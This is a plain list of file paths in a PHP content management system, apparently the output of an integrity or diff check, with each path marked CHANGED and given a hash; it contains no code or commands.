CHANGED :: c6f77ebfcbfd19b1575ec5225c9da767 :: \lib\classes\class.cms_cache_driver.php
CHANGED :: 3fe09cfdd28c26cabc7e9db26813fb9b :: \lib\classes\class.cms_cache_handler.php
CHANGED :: e7df5c88cf24cf31870482194f92ccd6 :: \lib\classes\class.cms_config.php
CHANGED :: 55e31886248654e549e5b2a6b305eb69 :: \lib\classes\class.cms_content_tree.php
CHANGED :: 5248ae8a3c6f0af7cf0813aa40940d36 :: \lib\classes\class.cms_cookies.php
CHANGED :: e6fce476c218c1303fbd82c2c92a72c4 :: \lib\classes\class.cms_filecache_driver.php
CHANGED :: c307092351fd6afe3a5f51bca57f9264 :: \lib\classes\class.cms_http_request.php
CHANGED :: 3f224c63fd38a7bcbd5c5876cd974e6b :: \lib\classes\class.cms_mailer.php
CHANGED :: 300769f155d462c385e9d3e2771d0807 :: \lib\classes\class.cms_module_smarty_plugin_manager.php
CHANGED :: ef82df677626e650859afe738cbc33ff :: \lib\classes\class.cms_route_manager.php
CHANGED :: d9f41a5b7cc04b0decfa60b758c4e31f :: \lib\classes\class.cms_siteprefs.php
CHANGED :: d747382b8ffd2c11bcb131a5b36760de :: \lib\classes\class.cms_tree.php
CHANGED :: 75e585bb00bbef9e69cc90bebf2a1702 :: \lib\classes\class.cms_tree_operations.php
CHANGED :: 14d59722dc69f41d221bfe2e3c78ad4d :: \lib\classes\class.cms_url.php
CHANGED :: 9cfea6d552654a401b2becf962b008ce :: \lib\classes\class.cms_userprefs.php
CHANGED :: a5da156dd96f185d084e09479f563425 :: \lib\classes\class.cms_utils.php
CHANGED :: 77883bcf8a43c775df039aedbc95f2bf :: \lib\classes\class.ContentBase.php
CHANGED :: f3bc4ed00439d10923d75ca11cd730b7 :: \lib\classes\class.contentoperations.inc.php
CHANGED :: edad24eb1d585c293693a694b62affec :: \lib\classes\class.Events.php
CHANGED :: 1a0df1d52a5df63e8595b8394505d9b2 :: \lib\classes\class.FilePickerProfile.php
CHANGED :: 1aae2a5232e66edaef15f07bab233a76 :: \lib\classes\class.FileType.php
CHANGED :: 8d8fb89444c9e2d032381bfc041cb172 :: \lib\classes\class.FileTypeHelper.php
CHANGED :: 6a9060e34972fd3ae7ee9bfd6bbd5f3e :: \lib\classes\class.group.inc.php
CHANGED :: eac954d2dea20236363d33e13efcb022 :: \lib\classes\class.groupoperations.inc.php
CHANGED :: e628a7bad115311351b666f855cb7999 :: \lib\classes\class.HookManager.php
CHANGED :: af0efa7ca76878451ee7c16b6e928921 :: \lib\classes\class.moduleoperations.inc.php
CHANGED :: 7405d10d324376ca8f81081b1e4fbee7 :: \lib\classes\class.user.inc.php
CHANGED :: 18127a98af7ac46ef118ec0275b4f3c3 :: \lib\classes\class.useroperations.inc.php
CHANGED :: 0497cd56019b73b6ddf3ea2ce3819dc3 :: \lib\classes\class.usertagoperations.inc.php
CHANGED :: e461b7c5152624b999f179d9bc174dab :: \lib\classes\contenttypes\Content.inc.php
CHANGED :: 28dc048996a3058bacbdfd69730e537d :: \lib\classes\contenttypes\ErrorPage.inc.php
CHANGED :: c09d00465ce02540aa17f42a0e4d7b0c :: \lib\classes\contenttypes\Link.inc.php
CHANGED :: 17fc3fd3df4f3ee3d1c3e885975375b1 :: \lib\classes\contenttypes\PageLink.inc.php
CHANGED :: 576210b9e6647ff01113a689431ba6a5 :: \lib\classes\contenttypes\SectionHeader.inc.php
CHANGED :: ed296500e3da38e10f9962af54d14a2c :: \lib\classes\contenttypes\Separator.inc.php
CHANGED :: b26dbb18f0a09b4d35b79eeb90904153 :: \lib\classes\Database\class.compatibility.php
CHANGED :: ee4c288dee4e6df58809fea1153fd77f :: \lib\classes\Database\class.Connection.php
CHANGED :: ca5ba840b105c3aa0c8f54fa96d8b978 :: \lib\classes\Database\class.ConnectionSpec.php
CHANGED :: a375b6fa1ad0597b14908bb293b893f6 :: \lib\classes\Database\class.DataDictionary.php
CHANGED :: 7daed78ef895e82e17c6b00c2e1293ed :: \lib\classes\Database\class.EmptyRecordSet.php
CHANGED :: ef15c4b6ae608b68466418dc44ea9a51 :: \lib\classes\Database\class.ResultSet.php
CHANGED :: ea2931248ab156d1201804986ad9ad1d :: \lib\classes\Database\class.Statement.php
CHANGED :: 46b24265681dfad195b891a70e738750 :: \lib\classes\Database\mysqli\class.Connection.php
CHANGED :: 8dcf26631a875c21affcb631831b93ee :: \lib\classes\Database\mysqli\class.DataDictionary.php
CHANGED :: 40e2bc9af26e053e6448bf4756f87e8d :: \lib\classes\Database\mysqli\class.ResultSet.php
CHANGED :: b3f9234a21dd5284d54db37fdb25b296 :: \lib\classes\Database\mysqli\class.Statement.php
CHANGED :: 03d1ec7c0c61cb7153abe261c4c816a0 :: \lib\classes\interface.CmsRegularTask.php
CHANGED :: 3f48ada1d569281378784b772cbcb8df :: \lib\classes\interface.FilePickerInterface.php
CHANGED :: 284a20ae8aec995449fade286ef6cfea :: \lib\classes\internal\class.bulkcontentoperations.php
CHANGED :: e8ffb28a9d945221c318b2f64b331b47 :: \lib\classes\internal\class.CMSContentTemplateResource.php
CHANGED :: 47abc255aeaa6d8cffa616b3492f35b7 :: \lib\classes\internal\class.CmsExtendedModuleInfo.php
CHANGED :: 145e90b7534d167a84afe3f9711d2d6f :: \lib\classes\internal\class.CMSModuleDbTemplateResource.php
CHANGED :: da09f7f2e6db9a67c492c3dcedb7c79d :: \lib\classes\internal\class.CmsModuleInfo.php
CHANGED :: 086b20b22c9385c0801caec938ee8d7f :: \lib\classes\internal\class.CMSSmartyBase.php
CHANGED :: f644d1ffce7877d9b290d734dfb35cd2 :: \lib\classes\internal\class.CMSSmartySecurityPolicy.php
CHANGED :: 4f940992eadcd120aa39b1ff639d646b :: \lib\classes\internal\class.CmsStylesheetResource.php
CHANGED :: c2885a1a8f66307d2e907ba159867759 :: \lib\classes\internal\class.CmsTemplateCache.php
CHANGED :: eb3714aab075232034f1d247fffbe395 :: \lib\classes\internal\class.CmsTemplateResource.php
CHANGED :: 0194a46a201bc288ff02421461af9ec7 :: \lib\classes\internal\class.CMS_Content_Block.php
CHANGED :: 93526198e89150b6f8db2bbd9961ccdc :: \lib\classes\internal\class.cms_content_cache.php
CHANGED :: 57f1647b494c9024f0bf16458265b741 :: \lib\classes\internal\class.CMS_Fixed_Resource_Custom.php
CHANGED :: e315bbf1347406586c9b70bf6a7c5426 :: \lib\classes\internal\class.CMS_Smarty_Template.php
CHANGED :: a32cec35850cfde42f89fb69d9ff60a7 :: \lib\classes\internal\class.content_assistant.php
CHANGED :: 78a900ab9fc1bce6221a0e4fd1565447 :: \lib\classes\internal\class.global_cachable.php
CHANGED :: 0b9c56113ac4e2359e33ceac5b6f2296 :: \lib\classes\internal\class.global_cache.php
CHANGED :: 87a8d9531f95f60a02b01f01910b6fc8 :: \lib\classes\internal\class.LoginOperations.php
CHANGED :: 1af5ea6690cba4bc109a016a2c9f6508 :: \lib\classes\internal\class.module_meta.php
CHANGED :: b0c25e485971a920b160a31f5e0f4c88 :: \lib\classes\internal\class.page_template_parser.php
CHANGED :: 026df997d91dd09f4ff77be6b8e73982 :: \lib\classes\internal\class.Smarty_CMS.php
CHANGED :: 4368f3a372cff6229b831eea5aa1a36b :: \lib\classes\internal\class.Smarty_Parser.php
CHANGED :: a8db6debb38ba64869fbc9d5a3ddc693 :: \lib\classes\internal\class.__CORE__generic_Type_Assistant.php
CHANGED :: 95e88d1557c7782bf1883fcd0b29011d :: \lib\classes\internal\interface.ContentAssistant.php
CHANGED :: 29ae48f109fe3cba718dad95bfae165a :: \lib\classes\internal\module_support\modform.inc.php
CHANGED :: e44ac09f9e57e4c9a98da2352baa5bda :: \lib\classes\internal\module_support\modmisc.inc.php
CHANGED :: fde566019e5a1355b691f457d24c800a :: \lib\classes\internal\module_support\modredirect.inc.php
CHANGED :: a9f1c9f868947a5deb7b684b008f0e0d :: \lib\classes\internal\module_support\modtemplates.inc.php
CHANGED :: 2eccd45c7df462342b0a2132269e4b94 :: \lib\classes\Layout\class.TemplateTypeAssistant.php
CHANGED :: edba37fe1be5da3c1ef4f121182e0b5e :: \lib\compat.functions.php
CHANGED :: 437cf393e6af1e1af974c2db39aef769 :: \lib\content.functions.php
CHANGED :: e77489697bf1134ea28434d01650d9f2 :: \lib\html_entity_decode_php4.php
CHANGED :: f272bcb0e4acac8c4738433d89211852 :: \lib\include.php
CHANGED :: 087f421d344855021408ef5af34bdf2a :: \lib\jquery\css\smoothness\images\ui-bg_flat_0_aaaaaa_40x100.png
CHANGED :: 07f3ba43e70abc5a9c2b93b92093b352 :: \lib\jquery\css\smoothness\images\ui-bg_flat_75_ffffff_40x100.png
CHANGED :: 6b19225d4fa4da623ddf89574bfc6070 :: \lib\jquery\css\smoothness\images\ui-bg_glass_55_fbf9ee_1x400.png
CHANGED :: 1eaff0d96a0bc38405d188e3e530e7b0 :: \lib\jquery\css\smoothness\images\ui-bg_glass_65_ffffff_1x400.png
CHANGED :: d797bfeef2cb6ae189b2e135b3827eeb :: \lib\jquery\css\smoothness\images\ui-bg_glass_75_dadada_1x400.png
CHANGED :: 668dde8372f119cd17ac541f19ce67fd :: \lib\jquery\css\smoothness\images\ui-bg_glass_75_e6e6e6_1x400.png
CHANGED :: ca2e0a6783492fb8035cf7be7e06dfcf :: \lib\jquery\css\smoothness\images\ui-bg_glass_95_fef1ec_1x400.png
CHANGED :: 1e3b05373dacccca8b8c40e874d359ac :: \lib\jquery\css\smoothness\images\ui-bg_highlight-soft_75_cccccc_1x100.png
CHANGED :: a1b3887a86cf1791f23c0b53b4d3585f :: \lib\jquery\css\smoothness\images\ui-icons_222222_256x240.png
CHANGED :: 764c37efbf6d7ffc176b466fadc6f2ca :: \lib\jquery\css\smoothness\images\ui-icons_2e83ff_256x240.png
CHANGED :: 6b29e362591a05e270b33c4fc3f67cb2 :: \lib\jquery\css\smoothness\images\ui-icons_454545_256x240.png
CHANGED :: 302ae7a7aed5730c16146b677b123638 :: \lib\jquery\css\smoothness\images\ui-icons_888888_256x240.png
CHANGED :: 5c78585b80fbf4342d21674a04e89c8b :: \lib\jquery\css\smoothness\images\ui-icons_cd0a0a_256x240.png
CHANGED :: 31d680ef35f7d4564782af8cd3e7f601 :: \lib\jquery\css\smoothness\jquery-ui-1.10.4.custom.min.css
CHANGED :: 8101d596b2b8fa35fe3a634ea342d7c3 :: \lib\jquery\js\jquery-1.11.1.min.js
CHANGED :: ffbeb16578d8cdf58104889baacbbef2 :: \lib\jquery\js\jquery-1.11.1.min.map
CHANGED :: eb05d8d73b5b13d8d84308a4751ece96 :: \lib\jquery\js\jquery-migrate-1.2.1.min.js
CHANGED :: df3a368c8d9422ca16a2975341df045f :: \lib\jquery\js\jquery-ui-1.10.4.custom.min.js
CHANGED :: ab0712271db1fbeb4e734ea14cc33ec2 :: \lib\jquery\js\jquery.cmsms_autorefresh.js
CHANGED :: 13eb946ea4468ec8b07bc19581a7d30f :: \lib\jquery\js\jquery.cmsms_dirtyform.js
CHANGED :: 12447912dc757280e551bd953e652d52 :: \lib\jquery\js\jquery.cmsms_filepicker.js
CHANGED :: 1e74567dbdecb47d0c763ce35926b0b3 :: \lib\jquery\js\jquery.cmsms_hierselector.js
CHANGED :: a5c1023fd52f9086fa3a0cae07b94d27 :: \lib\jquery\js\jquery.cmsms_lock.js
CHANGED :: 0ea685654705de860c99d3dd54b20c1c :: \lib\jquery\js\jquery.cms_admin.js
CHANGED :: f7b87723e700272150f9785de8f03f1c :: \lib\jquery\js\jquery.json-2.4.min.js
CHANGED :: 946d83fa633503271865d8308d82eaf5 :: \lib\jquery\js\jquery.mjs.nestedSortable.js
CHANGED :: 594c7fa31e788c18fd6bac62d2824bac :: \lib\jquery\js\jquery.ui.touch-punch.js
CHANGED :: 700b877cd3ade98ce6cd4be349d81a5c :: \lib\jquery\js\jquery.ui.touch-punch.min.js
CHANGED :: 1fb8805dfb2ed66e2464848975269dc0 :: \lib\lang\cms_selflink\en_US.php
CHANGED :: 98f7c4a7d40237538bb2ac9fb6556e77 :: \lib\lang\cms_selflink\ext\ar_AR.php
CHANGED :: 468e450fe24f6c2a6f07534c95c19ae2 :: \lib\lang\cms_selflink\ext\cs_CZ.php
CHANGED :: e9b72631dc967ffee82c5835809c5cef :: \lib\lang\cms_selflink\ext\da_DK.php
CHANGED :: 38643fc9a5100a3bc0113bd0badec15e :: \lib\lang\cms_selflink\ext\de_DE.php
CHANGED :: aa3eca872de9458d83d70655ceb43e14 :: \lib\lang\cms_selflink\ext\en_CY.php
CHANGED :: de81a7a11545ade5f31e1c149e4d7682 :: \lib\lang\cms_selflink\ext\es_ES.php
CHANGED :: 009de050ad4f13fa58060b16fdef61dc :: \lib\lang\cms_selflink\ext\et_EE.php
CHANGED :: fbe990a0bc460847c30040014c2c501f :: \lib\lang\cms_selflink\ext\fa_FA.php
CHANGED :: edb67547b64324df973aad1b8a859bbf :: \lib\lang\cms_selflink\ext\fi_FI.php
CHANGED :: 9975b3b5f9f23ce93d44c545300ab5d1 :: \lib\lang\cms_selflink\ext\fr_FR.php
CHANGED :: ee941196508be5d2cd81a0a0d3648d93 :: \lib\lang\cms_selflink\ext\gl_GL.php
CHANGED :: 11f167211b768a5e22fbaaade91b5671 :: \lib\lang\cms_selflink\ext\hr_HR.php
CHANGED :: 2dbdee95bdd6d3aa3fee93ca8a513c2b :: \lib\lang\cms_selflink\ext\hu_HU.php
CHANGED :: ea3fcd063aa1c772a43d08daceb4306b :: \lib\lang\cms_selflink\ext\id_ID.php
CHANGED :: 21d715f393ffd0b4252689cd2ab311d9 :: \lib\lang\cms_selflink\ext\it_IT.php
CHANGED :: 2be00fb14d1be7afa980f09f039deeb5 :: \lib\lang\cms_selflink\ext\lt_LT.php
CHANGED :: cd8202ef1a8877ebc62549e26afd64e1 :: \lib\lang\cms_selflink\ext\nb_NO.php
CHANGED :: e9a35a81ec9c52c8560588021bc4c043 :: \lib\lang\cms_selflink\ext\nl_NL.php
CHANGED :: 3a48e893d127ca33899aef0130a182f8 :: \lib\lang\cms_selflink\ext\pl_PL.php
CHANGED :: cc13583a51bf82ae3d969cde45af9af9 :: \lib\lang\cms_selflink\ext\pt_BR.php
CHANGED :: e94727dddc4e80e51472787cf43d2029 :: \lib\lang\cms_selflink\ext\pt_PT.php
CHANGED :: 6463ea86cdd7e81e2f53e7ea04711cb1 :: \lib\lang\cms_selflink\ext\ro_RO.php
CHANGED :: 4d143cd83e04ac36ce2723014b0ce93b :: \lib\lang\cms_selflink\ext\ru_RU.php
CHANGED :: 2a9ef3f4795887fd2dc475ede0bdcfb9 :: \lib\lang\cms_selflink\ext\sk_SK.php
CHANGED :: 9c964875a06c8022a08cdd94d6173825 :: \lib\lang\cms_selflink\ext\sl_SI.php
CHANGED :: 782763ffa3628f3cb97b7628508addf3 :: \lib\lang\cms_selflink\ext\sr_YU.php
CHANGED :: 63510596e5b0639ec82193199e7e5bbd :: \lib\lang\cms_selflink\ext\sv_SE.php
CHANGED :: 4572742844d9ec9f20d6a7dd94a0bf47 :: \lib\lang\cms_selflink\ext\tr_TR.php
CHANGED :: 26ec072af260a5bc93403ef89f2c44c9 :: \lib\lang\cms_selflink\ext\vi_VN.php
CHANGED :: c85d2a860c0ac2cab7c7fe70691c46d7 :: \lib\lang\cms_selflink\ext\zh_TW.php
CHANGED :: 10fba4c8dc09e9e952c2b8f6e54217d8 :: \lib\lang\help\en_US.php
CHANGED :: ac23e4e19a44f2cac5490ccf9b8edacf :: \lib\lang\help\ext\de_DE.php
CHANGED :: 3efa410e120627ad076b150d13003004 :: \lib\lang\help\ext\fr_FR.php
CHANGED :: 83559a203be2b7870fba501b866b3ed4 :: \lib\lang\help\ext\it_IT.php
CHANGED :: bfd17e5b32c06a3a6582dfbd9a097b79 :: \lib\lang\help\ext\nb_NO.php
CHANGED :: 51028dde2d3082c2cd5c1a50669c62ba :: \lib\lang\help\ext\ru_RU.php
CHANGED :: 99647d362d637ff93ab172f68bc4e82b :: \lib\lang\help\ext\uk_UA.php
CHANGED :: 1ea9e0467fd5a86650e371381aaa5e8e :: \lib\lang\tags\en_US.php
CHANGED :: 27fee779f3ed1c7111b715b13e0a65b9 :: \lib\lang\tags\ext\de_DE.php
CHANGED :: 28599e0a29bbf42197644585c1ad6a49 :: \lib\lang\tags\ext\fr_FR.php
CHANGED :: 3be51fda9b6b2f44c98d99aeaed1a42c :: \lib\lang\tags\ext\it_IT.php
CHANGED :: aba95107ee33ef4ee52d2b1d4b01a6f3 :: \lib\lang\tags\ext\nb_NO.php
CHANGED :: 582758834e74c7cb1b7e20e4b973e3d7 :: \lib\lang\tags\ext\pt_PT.php
CHANGED :: a3a8d48984068f897f4ab33e91ebfc46 :: \lib\lang\tags\ext\ru_RU.php
CHANGED :: 452925d5182994846dbe3b9518db84d8 :: \lib\lang\tags\ext\tr_TR.php
CHANGED :: 03098d104fb54adc9816ba549c6bf956 :: \lib\lang\tags\ext\uk_UA.php
CHANGED :: 9980a97c336655eadbf2b5fe84aded10 :: \lib\lang\tasks\en_US.php
CHANGED :: 0c1c2cb62a3162bf12b2225f4551bd62 :: \lib\lang\tasks\ext\ar_AR.php
CHANGED :: 6495aa0987c1208965f5e8a93d92dfb7 :: \lib\lang\tasks\ext\cs_CZ.php
CHANGED :: ff568c963cc707975b4d4bde49a5f6ca :: \lib\lang\tasks\ext\da_DK.php
CHANGED :: a64a5f769d4c283277fcbd44de7c68ea :: \lib\lang\tasks\ext\de_DE.php
CHANGED :: 9eadfab683bb66ae2e66ccdabf46e2aa :: \lib\lang\tasks\ext\en_CY.php
CHANGED :: a38332691a954259e90ebbee9e5a7e51 :: \lib\lang\tasks\ext\es_ES.php
CHANGED :: 2ea4c478c3bd1ae5e9a3346503d55373 :: \lib\lang\tasks\ext\et_EE.php
CHANGED :: 941fa1e4861908383ff6d1317a26814b :: \lib\lang\tasks\ext\fa_FA.php
CHANGED :: 132dfaa369e11cea9571b00ca3909b7d :: \lib\lang\tasks\ext\fi_FI.php
CHANGED :: 24793276f5e534d7830e7e550eb63074 :: \lib\lang\tasks\ext\fr_FR.php
CHANGED :: f27f991e7e815d7160d65d417130bfb7 :: \lib\lang\tasks\ext\gl_GL.php
CHANGED :: 4ab088a39090c1462af7d3f3a7b8f395 :: \lib\lang\tasks\ext\hr_HR.php
CHANGED :: 39e91380df215f3c17d1b1e81dd46d25 :: \lib\lang\tasks\ext\hu_HU.php
CHANGED :: 8af62674272115d72239e1ecc58eec3d :: \lib\lang\tasks\ext\it_IT.php
CHANGED :: 398b5d7b431aa963788be32cf04b73de :: \lib\lang\tasks\ext\ja_JP.php
CHANGED :: a18220aa846182a7de3116edfe8ed604 :: \lib\lang\tasks\ext\lt_LT.php
CHANGED :: c023af264e68bdd2d7c69a8e50171d4c :: \lib\lang\tasks\ext\nb_NO.php
CHANGED :: 17822b85970829f13b84fe80c9d5134a :: \lib\lang\tasks\ext\nl_NL.php
CHANGED :: 2fcbdd8502eed355c49823c2a3aa57a4 :: \lib\lang\tasks\ext\pl_PL.php
CHANGED :: 3880413689afa7a557eea7217b73bd8a :: \lib\lang\tasks\ext\pt_BR.php
CHANGED :: 0a821bc3a744b5c581a37644654bd4dc :: \lib\lang\tasks\ext\pt_PT.php
CHANGED :: 5e01f82d5181381bafeaa1b27ab50549 :: \lib\lang\tasks\ext\rm_CH.php
CHANGED :: c95aac22ae4fca11cc471f3e0e181458 :: \lib\lang\tasks\ext\ro_RO.php
CHANGED :: 088e4169ae4a0015f006fef2c3f45e14 :: \lib\lang\tasks\ext\ru_RU.php
CHANGED :: ca4583b8df578af0c589c852b4b0b0c0 :: \lib\lang\tasks\ext\sk_SK.php
CHANGED :: 9ad5bd2b44306c2125b629e0f225cdb2 :: \lib\lang\tasks\ext\sl_SI.php
CHANGED :: 3cd875faf587096bd4987d6accc44a45 :: \lib\lang\tasks\ext\sr_YU.php
CHANGED :: fffb809e6be0ff8db3d6951645d25044 :: \lib\lang\tasks\ext\sv_SE.php
CHANGED :: 7b9e8bdf58f213bea6bc025721fe4055 :: \lib\lang\tasks\ext\tr_TR.php
CHANGED :: 5a57b51ca9cdc8e40956914f1a933f6c :: \lib\lang\tasks\ext\vi_VN.php
CHANGED :: a1a516c9465f201ebe24514e0a33eff2 :: \lib\lang\tasks\ext\zh_TW.php
CHANGED :: 81f19c46f063c7919f4cbed7f33511ef :: \lib\misc.functions.php
CHANGED :: 26383b1df50194b7676862af17e11b0d :: \lib\module.functions.php
CHANGED :: 08332ec844b1d53d2ff1ea045c96f4c4 :: \lib\nls\af_ZA.nls.php
CHANGED :: 3cee3ed3859d4b2a2bcc6fca9b3a7361 :: \lib\nls\ar_AR.nls.php
CHANGED :: d4461853f2e9269a02fb0a1803bbc586 :: \lib\nls\bg_BG.nls.php
CHANGED :: 34c2d66fd6d6f7cd2c7eedd38a82f4eb :: \lib\nls\ca_ES.nls.php
CHANGED :: 0e91be42f8273006d43fe107621bf86f :: \lib\nls\cs_CZ.nls.php
CHANGED :: 0d6cd2886791602d94c3d6a30de8e218 :: \lib\nls\da_DK.nls.php
CHANGED :: ededf6b91385dcf2f10b5c9e11ca4250 :: \lib\nls\de_DE.nls.php
CHANGED :: 2293fd9e1a60c3ff4756edf0feaa1359 :: \lib\nls\el_GR.nls.php
CHANGED :: 865266bd346cf525fcb24a916aa20257 :: \lib\nls\en_CY.nls.php
CHANGED :: f70938de71577d6477da58c14b7ef758 :: \lib\nls\en_US.nls.php
CHANGED :: dc74ed475dac34fe85f3c0559449af29 :: \lib\nls\es_ES.nls.php
CHANGED :: 3ce97dab0b1df1062db8dd9229fd53d3 :: \lib\nls\et_EE.nls.php
CHANGED :: 68b6d5e546f5c7acc162e434d9691ffd :: \lib\nls\eu_ES.nls.php
CHANGED :: 9abb3269c560f68ecd60fbf3a26cb94a :: \lib\nls\fa_IR.nls.php
CHANGED :: baf9fc4f8db8f86ba7100d18726b447a :: \lib\nls\fi_FI.nls.php
CHANGED :: d743a9cdfba15a77a0f2b62851874705 :: \lib\nls\fr_FR.nls.php
CHANGED :: 251f23d3350537db76142127122250c4 :: \lib\nls\hr_HR.nls.php
CHANGED :: 22204de726a983a11647a4694ecd8ef7 :: \lib\nls\hu_HU.nls.php
CHANGED :: 3a2027c41dbafc1341f7309bc3beffeb :: \lib\nls\id_ID.nls.php
CHANGED :: 8cbf68b7b2221a91f72fa1f8a16a70aa :: \lib\nls\is_IS.nls.php
CHANGED :: 1191b644dca098d44f5d0893825797f8 :: \lib\nls\it_IT.nls.php
CHANGED :: f9cd2093e89050f152d43bd725c5f43f :: \lib\nls\ja_JP.nls.php
CHANGED :: 37aab5367d0117c0203b8ebaa1a8b0de :: \lib\nls\kz_KZ.nls.php
CHANGED :: f7e09bbeac1b343f8e449127a2178df4 :: \lib\nls\lt_LT.nls.php
CHANGED :: 6e7cee8783be747f6b5addad12aeff8a :: \lib\nls\nb_NO.nls.php
CHANGED :: a015e716c552862cc18dc298a3e6a4ca :: \lib\nls\nl_NL.nls.php
CHANGED :: 4ea9836cd5ff4542060fc2f606d4397f :: \lib\nls\pl_PL.nls.php
CHANGED :: f25879a4446597b946e26fe25b45c389 :: \lib\nls\pt_BR.nls.php
CHANGED :: 68e490c564233ab1c2686810a99345aa :: \lib\nls\pt_PT.nls.php
CHANGED :: 661d56ba9913d33c508b060d6ed551fb :: \lib\nls\ro_RO.nls.php
CHANGED :: 333f11561029acb85ce249f6914199c5 :: \lib\nls\ru_RU.nls.php
CHANGED :: 8cac4113da3733aca59a9461fff2e351 :: \lib\nls\sk_SK.nls.php
CHANGED :: b7a3d1d0b3ee7986cf6eccc022357c0a :: \lib\nls\sl_SI.nls.php
CHANGED :: 12897149d84115830d2d89e0016df40c :: \lib\nls\sr_YU.nls.php
CHANGED :: babf7f29bb0da27ca3564320ec57cc4b :: \lib\nls\sv_SE.nls.php
CHANGED :: acb086aa1e258974ec8df7c00fe4a5bd :: \lib\nls\tr_TR.nls.php
CHANGED :: 83d781aca320717f1c7cdd71ea13b563 :: \lib\nls\uk_UA.nls.php
CHANGED :: 19d66dc7967ce7285020bd3d2defc36a :: \lib\nls\zh_CN.nls.php
CHANGED :: 73d05169e91d071930555f31d09c31a0 :: \lib\nls\zh_TW.nls.php
CHANGED :: 84ca4fa3e7cd9b59b2b485a9eba98da3 :: \lib\page.functions.php
CHANGED :: 5f82ddb79ecc6e6c8f103a017f572a49 :: \lib\phpmailer\composer.json
CHANGED :: 46dcd505d56a950198d9aa84385f94a2 :: \lib\phpmailer\language\phpmailer.lang-am.php
CHANGED :: b4b8bb573df63969ef6fc53c5c60a611 :: \lib\phpmailer\language\phpmailer.lang-ar.php
CHANGED :: 74f02d99fee297a3bcb83608f087769b :: \lib\phpmailer\language\phpmailer.lang-az.php
CHANGED :: a34eaaa02c21ea4abfaba2ad9818f1c0 :: \lib\phpmailer\language\phpmailer.lang-be.php
CHANGED :: 9aa86adbd82a847efb273ac6efff2c64 :: \lib\phpmailer\language\phpmailer.lang-bg.php
CHANGED :: 6a332f400db88a50dd4cd8fa8699b245 :: \lib\phpmailer\language\phpmailer.lang-ca.php
CHANGED :: ca845e23a375b913250553cb096660a9 :: \lib\phpmailer\language\phpmailer.lang-ch.php
CHANGED :: fc4c9b063cda1814edfe6e0ad16c7d3b :: \lib\phpmailer\language\phpmailer.lang-cs.php
CHANGED :: 5ac584c76a057c6bf52bfd7147172bf1 :: \lib\phpmailer\language\phpmailer.lang-da.php
CHANGED :: de470fc25bbaae789bb886bf539a6bc6 :: \lib\phpmailer\language\phpmailer.lang-de.php
CHANGED :: 42e7ce0debd01fee461199911426e822 :: \lib\phpmailer\language\phpmailer.lang-el.php
CHANGED :: b05085bf17dc2350d4974c90c2927cc6 :: \lib\phpmailer\language\phpmailer.lang-eo.php
CHANGED :: 2585f10507f6bf809fb8b1b2cbcdfd80 :: \lib\phpmailer\language\phpmailer.lang-es.php
CHANGED :: 55cfa54c2c3e034b9e50b9199b68a0b9 :: \lib\phpmailer\language\phpmailer.lang-et.php
CHANGED :: ee323ce1ce6547b45ff18d21754925c7 :: \lib\phpmailer\language\phpmailer.lang-fa.php
CHANGED :: dfdd0e7cce7ad8d9f111a37758f081ef :: \lib\phpmailer\language\phpmailer.lang-fi.php
CHANGED :: 0f4c3dd73b3dc53f116174886ca663a3 :: \lib\phpmailer\language\phpmailer.lang-fo.php
CHANGED :: e53bf5780b0f7f821d821e8fdd4775d7 :: \lib\phpmailer\language\phpmailer.lang-fr.php
CHANGED :: 0e5d759a67cc55ea905313bf5f9360e6 :: \lib\phpmailer\language\phpmailer.lang-gl.php
CHANGED :: cb25a67cf175aca511c9f0e0cbb6c915 :: \lib\phpmailer\language\phpmailer.lang-he.php
CHANGED :: c7bf676ddc14d768c6be95c603dc4cbb :: \lib\phpmailer\language\phpmailer.lang-hr.php
CHANGED :: 781de42221ea82a8d04ebe4eae469ffe :: \lib\phpmailer\language\phpmailer.lang-hu.php
CHANGED :: c5e697c6e5f7ed417013ed30b3144453 :: \lib\phpmailer\language\phpmailer.lang-id.php
CHANGED :: 15a1fdbd970fccac0f03765e5702a6c6 :: \lib\phpmailer\language\phpmailer.lang-it.php
CHANGED :: 14bddd9f59ca7209832c484be124e9df :: \lib\phpmailer\language\phpmailer.lang-ja.php
CHANGED :: 693af2da3a7837d6c2ce877a6296c9fa :: \lib\phpmailer\language\phpmailer.lang-ka.php
CHANGED :: c95e8ca9669773f869b54ad91f2df771 :: \lib\phpmailer\language\phpmailer.lang-ko.php
CHANGED :: a1db8ce612b6a47aaa32635d66aa6147 :: \lib\phpmailer\language\phpmailer.lang-lt.php
CHANGED :: a9a3d00075ac3e83c74e43a394dfba54 :: \lib\phpmailer\language\phpmailer.lang-lv.php
CHANGED :: b6f645dcc927bf4cc12f2db7b108be0c :: \lib\phpmailer\language\phpmailer.lang-ms.php
CHANGED :: 5fb55ff6709d5d7e111fd0a16d720bc8 :: \lib\phpmailer\language\phpmailer.lang-nb.php
CHANGED :: 64ebeec65b9d7a508b1922bcf1c4f342 :: \lib\phpmailer\language\phpmailer.lang-nl.php
CHANGED :: c4a91d45b16df7f8b37bd0fd6d29a405 :: \lib\phpmailer\language\phpmailer.lang-pl.php
CHANGED :: 1d404a5c7e7c76962289e2ee67a825af :: \lib\phpmailer\language\phpmailer.lang-pt.php
CHANGED :: 6ad4b4cb098d6cbdb5f81141b7d021fd :: \lib\phpmailer\language\phpmailer.lang-pt_br.php
CHANGED :: 5a7250cc3225f316ebd1d975e2d60a1d :: \lib\phpmailer\language\phpmailer.lang-ro.php
CHANGED :: c7007738ef7c186bf189c451e25baa0d :: \lib\phpmailer\language\phpmailer.lang-ru.php
CHANGED :: 7614ab16cd7a50a85b34d910b0f5e466 :: \lib\phpmailer\language\phpmailer.lang-sk.php
CHANGED :: 61da032ff1013433e51ff17a922644d3 :: \lib\phpmailer\language\phpmailer.lang-sl.php
CHANGED :: de2480c0d69392481b31819faa367aa2 :: \lib\phpmailer\language\phpmailer.lang-sr.php
CHANGED :: 8cf5b8932ed804db48768075f1950e57 :: \lib\phpmailer\language\phpmailer.lang-sv.php
CHANGED :: 1ca201bf0296d48dde2d48159605eade :: \lib\phpmailer\language\phpmailer.lang-tr.php
CHANGED :: dd92241bba4087a70ce50c99ef16dd4a :: \lib\phpmailer\language\phpmailer.lang-uk.php
CHANGED :: b98d51c1f17b610fed45013e58bd1701 :: \lib\phpmailer\language\phpmailer.lang-vi.php
CHANGED :: 05274f5c2fc2da491392f5b9e3f859e6 :: \lib\phpmailer\language\phpmailer.lang-zh.php
CHANGED :: 7ace3306516a4590b85a792f0c209e66 :: \lib\phpmailer\language\phpmailer.lang-zh_cn.php
